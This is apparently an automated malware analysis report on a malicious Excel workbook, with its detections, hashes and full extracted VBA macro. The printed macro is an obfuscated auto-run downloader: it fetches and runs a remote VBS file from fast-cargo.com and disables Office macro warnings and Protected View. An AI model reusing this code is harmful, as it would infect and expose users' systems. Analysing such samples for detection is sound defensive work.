Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ea6a91a1742aa279…

MALICIOUS

Office (OOXML)

18.6 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-02-23
MD5: cd1b516ebb186e7cc7b646ef3f10ccc9 SHA-1: a389e6257b37d1a3b2b284190e3712dd726ff848 SHA-256: ea6a91a1742aa279499bcd65ba6220007a09b792fe3210fbe86e33b7d0a78352
350 Risk Score

Heuristics 8

  • ClamAV: Xls.Malware.Valyria-6934880-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6934880-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell (Last)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set wso = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set wso = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://fast-cargo.com/images/file/vb/41.vbs In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 11349 bytes
SHA-256: e63599edcbd2ee5f77cf31b79420583b29acdc848f8a4e491ad3ef8c2c593242
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub fuckyou()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
exec0 = Chr(99)
exec0 = exec0 & Chr(109)
exec0 = exec0 & Chr(100)
exec0 = exec0 & Chr(46)
exec0 = exec0 & Chr(101)
exec0 = exec0 & Chr(120)
exec0 = exec0 & Chr(101)
exec0 = exec0 & Chr(32) & Chr(47)
exec0 = exec0 & Chr(99)
exec0 = exec0 & Chr(32) & Chr(112)
exec0 = exec0 & Chr(111)
exec0 = exec0 & Chr(119)
exec0 = exec0 & Chr(101)
exec0 = exec0 & Chr(114)
exec0 = exec0 & Chr(115)
exec0 = exec0 & Chr(104)
exec0 = exec0 & Chr(101)
exec0 = exec0 & Chr(108)
exec0 = exec0 & Chr(108) & Chr(32) & Chr(45) & Chr(87)
exec0 = exec0 & Chr(32) & Chr(72)
exec0 = exec0 & Chr(105)
exec0 = exec0 & Chr(100)
exec0 = exec0 & Chr(100)
exec0 = exec0 & Chr(101)
exec0 = exec0 & Chr(110) & Chr(32) & Chr(40)
exec0 = exec0 & Chr(78)
exec1 = Chr(101)
exec1 = exec1 & Chr(119)
exec1 = exec1 & Chr(45)
exec1 = exec1 & Chr(79)
exec1 = exec1 & Chr(98)
exec1 = exec1 & Chr(106)
exec1 = exec1 & Chr(101)
exec1 = exec1 & Chr(99)
exec1 = exec1 & Chr(116) & Chr(32) & Chr(83)
exec1 = exec1 & Chr(121)
exec1 = exec1 & Chr(115)
exec1 = exec1 & Chr(116)
exec1 = exec1 & Chr(101)
exec1 = exec1 & Chr(109)
exec1 = exec1 & Chr(46)
exec1 = exec1 & Chr(78)
exec1 = exec1 & Chr(101)
exec1 = exec1 & Chr(84)
exec1 = exec1 & Chr(46)
exec1 = exec1 & Chr(87)
exec1 = exec1 & Chr(101)
exec1 = exec1 & Chr(66)
exec1 = exec1 & Chr(67)
exec2 = Chr(108)
exec2 = exec2 & Chr(105)
exec2 = exec2 & Chr(101)
exec2 = exec2 & Chr(78)
exec2 = exec2 & Chr(84)
exec2 = exec2 & Chr(41)
exec2 = exec2 & Chr(46)
exec2 = exec2 & Chr(68)
exec2 = exec2 & Chr(111)
exec2 = exec2 & Chr(119)
exec2 = exec2 & Chr(110)
exec2 = exec2 & Chr(108)
exec2 = exec2 & Chr(111)
exec2 = exec2 & Chr(97)
exec2 = exec2 & Chr(100)
exec2 = exec2 & Chr(70)
exec2 = exec2 & Chr(105)
exec2 = exec2 & Chr(108)
exec2 = exec2 & Chr(101)
exec3 = "('http://fast-cargo.com/images/file/vb/41.vbs'"
exec4 = Chr(44)
exec4 = exec4 & Chr(39)
exec4 = exec4 & Chr(37)
exec4 = exec4 & Chr(80)
exec4 = exec4 & Chr(117)
exec4 = exec4 & Chr(98)
exec4 = exec4 & Chr(108)
exec4 = exec4 & Chr(105)
exec4 = exec4 & Chr(99)
exec4 = exec4 & Chr(37)
exec4 = exec4 & Chr(92)
exec5 = Chr(92)
exec5 = exec5 & Chr(115)
exec5 = exec5 & Chr(118)
exec5 = exec5 & Chr(99)
exec5 = exec5 & Chr(104)
exec5 = exec5 & Chr(111)
exec5 = exec5 & Chr(115)
exec5 = exec5 & Chr(116)
exec5 = exec5 & Chr(51)
exec5 = exec5 & Chr(50)
exec5 = exec5 & Chr(46)
exec5 = exec5 & Chr(118)
exec5 = exec5 & Chr(98)
exec5 = exec5 & Chr(115)
exec6 = Chr(39)
exec6 = exec6 & Chr(41)
exec6 = exec6 & Chr(59)
exec6 = exec6 & Chr(83)
exec6 = exec6 & Chr(116)
exec6 = exec6 & Chr(97)
exec6 = exec6 & Chr(114)
exec6 = exec6 & Chr(116)
exec6 = exec6 & Chr(45)
exec6 = exec6 & Chr(80)
exec6 = exec6 & Chr(114)
exec6 = exec6 & Chr(111)
exec6 = exec6 & Chr(99)
exec7 = Chr(101) & Chr(115) & Chr(115) & Chr(32) & Chr(39) & Chr(37) & Chr(80)
exec8 = Chr(117)
exec8 = exec8 & Chr(98)
exec8 = exec8 & Chr(108)
exec9 = Chr(105)
exec9 = exec9 & Chr(99)
exec9 = exec9 & Chr(37)
exec010 = Chr(92)
exec010 = exec010 & Chr(92)
exec010 = exec010 & Chr(115)
exec011 = Chr(118)
exec012 = Chr(99)
exec013 = Chr(104) & Chr(111)
exec014 = Chr(115)
exec014 = exec014 & Chr(116)
exec014 = exec014 & Chr(51)
exec014 = exec014 & Chr(50)
exec014 = exec014 & Chr(46)
exec014 = exec014 & Chr(118)
exec014 = exec014 & Chr(98)
exec014 = exec014 & Chr(115)
exec014 = exec014 & Chr(39)
Last = exec0 + exec1 + exec2 + exec3 + exec4 + exec5 + exec6 + exec7 + exec8 + exec9 + exec010 + exec011 + exec012 + exec013 + exec014
Shell (Last)
Set wso = CreateObject("WScript.Shell")
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV", 1, "REG_DWORD"
wso.RegWrite "HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV", 1, "REG_DWORD"

End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 48640 bytes
SHA-256: d808fa56f41bfe61eb06e417609dd9df43084d74fe0b34c31376de3ef8b02740
Detection
ClamAV: Xls.Malware.Valyria-6934880-0
Obfuscation or payload: unlikely